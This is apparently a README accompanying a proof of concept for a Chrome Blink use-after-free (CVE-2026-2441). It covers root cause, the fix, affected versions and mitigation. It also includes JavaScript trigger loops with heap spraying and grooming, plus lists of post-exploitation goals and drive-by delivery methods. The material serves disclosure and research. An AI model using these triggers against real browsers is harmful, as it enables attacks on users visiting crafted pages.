CVSS 8.8 (High) | Actively Exploited in the Wild | Renderer RCE (Sandboxed)
A use-after-free vulnerability in Google Chrome's Blink CSS engine that allows a remote attacker to execute arbitrary code inside the browser sandbox via a crafted HTML page.
| Field | Value |
|---|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (High) |
| Type | Use-After-Free (CWE-416) |
| Component | Blink CSS — CSSFontFeatureValuesMap |
| Source File | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Fix Commit | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Reporter | Shaheen Fazim (2026-02-11) |
| Patch Date | 2026-02-13 |
| In-the-Wild | Yes — Google confirmed active exploitation |
| Platform | Vulnerable | Fixed |
|---|---|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Chromium-based browsers (Edge, Brave, Opera, Vivaldi) | Check vendor advisory | Varies |
FontFeatureValuesMapIterationSource stored a raw pointer (const FontFeatureAliases* aliases_) to the internal FontFeatureAliases HashMap. When the map is mutated during iteration via set() or delete(), the HashMap rehashes — allocating new storage and freeing the old. The raw pointer becomes dangling, and the next FetchNextItem() call reads from freed memory.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehashThe fix replaces the raw pointer with a deep copy of the HashMap. Even if the original map rehashes, the iterator operates on its own copy, preventing the dangling pointer.
- Open
poc.htmlin a vulnerable Chrome version (< 145.0.7632.75) - The page will attempt to trigger the UAF through three different methods
| Chrome Version | Expected Behavior |
|---|---|
| < 145.0.7632.75 (unpatched) | Renderer crash — STATUS_ACCESS_VIOLATION (Windows) or SIGSEGV (Linux/macOS). Chrome shows "Can't open this page" error. |
| >= 145.0.7632.75 (patched) | No crash — PoC runs to completion, all entries are read normally. |
When opened in a vulnerable Chrome version, the renderer process crashes with STATUS_ACCESS_VIOLATION:
Can't open this page
Error code: STATUS_ACCESS_VIOLATION
This confirms the UAF is triggered — the dangling pointer accesses freed/unmapped memory, causing the renderer process to terminate.
The PoC triggers the UAF through three independent methods:
const iterator = map.entries();
while (step < 20) {
iterator.next(); // read through (now dangling) pointer
map.delete(key); // trigger rehash
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // force reallocation
}for (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}function rafTrigger() {
document.body.offsetWidth; // force layout recalc
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}Each method also includes heap grooming — allocating 50 same-sized @font-feature-values rules to make the heap layout predictable for potential exploitation.
- Arbitrary code execution within the renderer process sandbox
- Information disclosure — leak V8 heap pointers (ASLR bypass), read renderer memory contents
- Credential theft — read
document.cookie,localStorage,sessionStorage, form input values - Session hijacking — steal session tokens, exfiltrate via
fetch()/WebSocket/sendBeacon() - DOM manipulation — inject phishing forms, modify page content
- Keylogging — capture all keystrokes via
addEventListener('keydown')
When combined with a separate sandbox escape vulnerability:
Renderer RCE (CVE-2026-2441)
→ Mojo IPC exploit → Browser process RCE
→ Kernel exploit → Full system compromise
→ Malware / ransomware / spyware installation
→ File system access, lateral movement, persistence
Real-world exploit chains using similar browser UAFs:
- NSO Pegasus — WebKit UAF + sandbox escape + kernel exploit
- Intellexa Predator — Chrome UAF + Android kernel exploit
- APT-28 (Fancy Bear) — Chrome 0-day + Windows LPE chain
This vulnerability is exploitable via drive-by download — no user interaction beyond visiting a malicious page is required:
- Malvertising — malicious ads served through legitimate ad networks
- Watering hole — compromise a site frequently visited by the target
- Spear phishing — send a crafted link via email or messaging
- Update Chrome to >= 145.0.7632.75 (Windows/macOS) or >= 144.0.7559.75 (Linux)
- Update Chromium-based browsers (Edge, Brave, Opera, Vivaldi) when vendor patches are available
- Verify Site Isolation is enabled (
chrome://flags/#site-isolation-trial-opt-out) - Monitor endpoints for Chrome versions below the fixed builds
| Date | Event |
|---|---|
| 2026-02-11 | Vulnerability reported by Shaheen Fazim |
| 2026-02-13 | Google releases Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google acknowledges in-the-wild exploitation |
| 2026-02-16 | Vivaldi and Opera ship fixes |
- Google Chrome Releases Blog
- NVD — CVE-2026-2441
- The Hacker News — Chrome Zero-Day Under Active Attack
- Chromium Issue Tracker (restricted)
If you find this research useful, consider buying me a coffee:
This proof of concept is provided for educational and authorized security research purposes only. Use of this PoC against systems without explicit permission is illegal and unethical. The author is not responsible for any misuse.
MIT